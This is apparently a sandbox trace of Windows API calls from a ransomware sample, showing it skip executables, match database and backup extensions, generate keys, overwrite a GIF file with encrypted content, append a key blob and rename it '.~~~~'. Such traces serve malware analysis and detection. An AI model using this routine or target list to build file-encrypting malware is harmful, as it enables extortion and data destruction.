	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".MYD") returned 0x0
	[0142.768] lstrlenW (lpString=".DBT") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DBT") returned 0x0
	[0142.768] lstrlenW (lpString=".ACCDB") returned 6
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.768] lstrlenW (lpString=".fdb") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".fdb") returned 0x0
	[0142.768] lstrlenW (lpString=".bak") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".bak") returned 0x0
	[0142.768] lstrlenW (lpString=".myd") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".myd") returned 0x0
	[0142.768] lstrlenW (lpString=".DTXS") returned 5
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.768] lstrlenW (lpString=".ckp") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".ckp") returned 0x0
	[0142.768] lstrlenW (lpString=".dbt") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dbt") returned 0x0
	[0142.768] lstrlenW (lpString=".db") returned 3
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".db") returned 0x0
	[0142.768] lstrlenW (lpString=".TXT") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".TXT") returned 0x0
	[0142.768] lstrlenW (lpString=".MDF") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".MDF") returned 0x0
	[0142.768] lstrlenW (lpString=".bdb") returned 4
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".bdb") returned 0x0
	[0142.768] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.769] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.770] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.770] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.770] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26276016412) returned 1
	[0142.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe8102f0, dwHighDateTime=0x1d60e1e)) 
	[0142.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe718
	[0142.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe718 | out: hHeap=0x300000) returned 1
	[0142.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa470
	[0142.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa470 | out: hHeap=0x300000) returned 1
	[0142.771] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.771] GetLastError () returned 0x0
	[0142.771] GetLastError () returned 0x0
	[0142.772] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.772] GetLastError () returned 0x0
	[0142.772] GetLastError () returned 0x0
	[0142.772] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x9eb1, lpOverlapped=0x0) returned 1
	[0142.890] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff614f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.890] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x9eb1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x9eb1, lpOverlapped=0x0) returned 1
	[0142.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.890] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.890] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.890] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.890] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.891] CloseHandle (hObject=0xc4) returned 1
	[0142.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa860
	[0142.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif.~~~~")) returned 1
	[0142.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa860 | out: hHeap=0x300000) returned 1
	[0142.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.893] GetLastError () returned 0x0
	[0142.893] RtlWakeConditionVariable () returned 0x0
	[0142.894] GetCurrentThreadId () returned 0x3a4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".scr") returned 0x0
	[0142.894] lstrlenW (lpString=".cmd") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".cmd") returned 0x0
	[0142.894] lstrlenW (lpString=".dll") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dll") returned 0x0
	[0142.894] lstrlenW (lpString=".bat") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".bat") returned 0x0
	[0142.894] lstrlenW (lpString=".cpl") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".cpl") returned 0x0
	[0142.894] lstrlenW (lpString=".sys") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".sys") returned 0x0
	[0142.894] lstrlenW (lpString=".msc") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".msc") returned 0x0
	[0142.894] lstrlenW (lpString=".com") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".com") returned 0x0
	[0142.894] lstrlenW (lpString=".lnk") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".lnk") returned 0x0
	[0142.894] lstrlenW (lpString=".msp") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".msp") returned 0x0
	[0142.894] lstrlenW (lpString=".pif") returned 4
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".pif") returned 0x0
	[0142.894] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.896] lstrlenW (lpString=".sqb") returned 4
	[0142.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".sqb") returned 0x0
	[0142.896] lstrlenW (lpString=".ost") returned 4
	[0142.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".ost") returned 0x0
	[0142.896] lstrlenW (lpString=".txt") returned 4
	[0142.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".txt") returned 0x0
	[0142.896] lstrlenW (lpString=".mdt") returned 4
	[0142.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".mdt") returned 0x0
	[0142.896] lstrlenW (lpString=".BDB") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".BDB") returned 0x0
	[0142.897] lstrlenW (lpString=".eql") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".eql") returned 0x0
	[0142.897] lstrlenW (lpString=".DBF") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DBF") returned 0x0
	[0142.897] lstrlenW (lpString=".EQL") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".EQL") returned 0x0
	[0142.897] lstrlenW (lpString=".FDB") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".FDB") returned 0x0
	[0142.897] lstrlenW (lpString=".EDB") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".EDB") returned 0x0
	[0142.897] lstrlenW (lpString=".DACPAC") returned 7
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.897] lstrlenW (lpString=".VHD") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".VHD") returned 0x0
	[0142.897] lstrlenW (lpString=".DBV") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DBV") returned 0x0
	[0142.897] lstrlenW (lpString=".dacpac") returned 7
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.897] lstrlenW (lpString=".sdf") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".sdf") returned 0x0
	[0142.897] lstrlenW (lpString=".accdb") returned 6
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".accdb") returned 0x0
	[0142.897] lstrlenW (lpString=".DBX") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DBX") returned 0x0
	[0142.897] lstrlenW (lpString=".MDT") returned 4
	[0142.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".MDT") returned 0x0
	[0142.898] lstrlenW (lpString=".SQB") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".SQB") returned 0x0
	[0142.898] lstrlenW (lpString=".vhd") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".vhd") returned 0x0
	[0142.898] lstrlenW (lpString=".bac") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".bac") returned 0x0
	[0142.898] lstrlenW (lpString=".mdf") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".mdf") returned 0x0
	[0142.898] lstrlenW (lpString=".BAK") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".BAK") returned 0x0
	[0142.898] lstrlenW (lpString=".BAC") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".BAC") returned 0x0
	[0142.898] lstrlenW (lpString=".dbs") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dbs") returned 0x0
	[0142.898] lstrlenW (lpString=".vhdx") returned 5
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.898] lstrlenW (lpString=".NDF") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".NDF") returned 0x0
	[0142.898] lstrlenW (lpString=".dat") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dat") returned 0x0
	[0142.898] lstrlenW (lpString=".DBS") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DBS") returned 0x0
	[0142.898] lstrlenW (lpString=".CKP") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".CKP") returned 0x0
	[0142.898] lstrlenW (lpString=".edb") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".edb") returned 0x0
	[0142.898] lstrlenW (lpString=".PST") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".PST") returned 0x0
	[0142.898] lstrlenW (lpString=".dbf") returned 4
	[0142.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dbf") returned 0x0
	[0142.899] lstrlenW (lpString=".SQL") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".SQL") returned 0x0
	[0142.899] lstrlenW (lpString=".pst") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".pst") returned 0x0
	[0142.899] lstrlenW (lpString=".dbv") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dbv") returned 0x0
	[0142.899] lstrlenW (lpString=".SDF") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".SDF") returned 0x0
	[0142.899] lstrlenW (lpString=".dtxs") returned 5
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.899] lstrlenW (lpString=".db3") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".db3") returned 0x0
	[0142.899] lstrlenW (lpString=".OST") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".OST") returned 0x0
	[0142.899] lstrlenW (lpString=".dbx") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dbx") returned 0x0
	[0142.899] lstrlenW (lpString=".DB3") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DB3") returned 0x0
	[0142.899] lstrlenW (lpString=".DAT") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DAT") returned 0x0
	[0142.899] lstrlenW (lpString=".VHDX") returned 5
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.899] lstrlenW (lpString=".ndf") returned 4
	[0142.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".ndf") returned 0x0
	[0142.899] lstrlenW (lpString=".DB") returned 3
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DB") returned 0x0
	[0142.900] lstrlenW (lpString=".sql") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".sql") returned 0x0
	[0142.900] lstrlenW (lpString=".MYD") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".MYD") returned 0x0
	[0142.900] lstrlenW (lpString=".DBT") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DBT") returned 0x0
	[0142.900] lstrlenW (lpString=".ACCDB") returned 6
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.900] lstrlenW (lpString=".fdb") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".fdb") returned 0x0
	[0142.900] lstrlenW (lpString=".bak") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".bak") returned 0x0
	[0142.900] lstrlenW (lpString=".myd") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".myd") returned 0x0
	[0142.900] lstrlenW (lpString=".DTXS") returned 5
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.900] lstrlenW (lpString=".ckp") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".ckp") returned 0x0
	[0142.900] lstrlenW (lpString=".dbt") returned 4
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".dbt") returned 0x0
	[0142.900] lstrlenW (lpString=".db") returned 3
	[0142.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".db") returned 0x0
	[0142.901] lstrlenW (lpString=".TXT") returned 4
	[0142.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".TXT") returned 0x0
	[0142.901] lstrlenW (lpString=".MDF") returned 4
	[0142.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".MDF") returned 0x0
	[0142.901] lstrlenW (lpString=".bdb") returned 4
	[0142.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".bdb") returned 0x0
	[0142.901] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.901] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.902] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.902] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
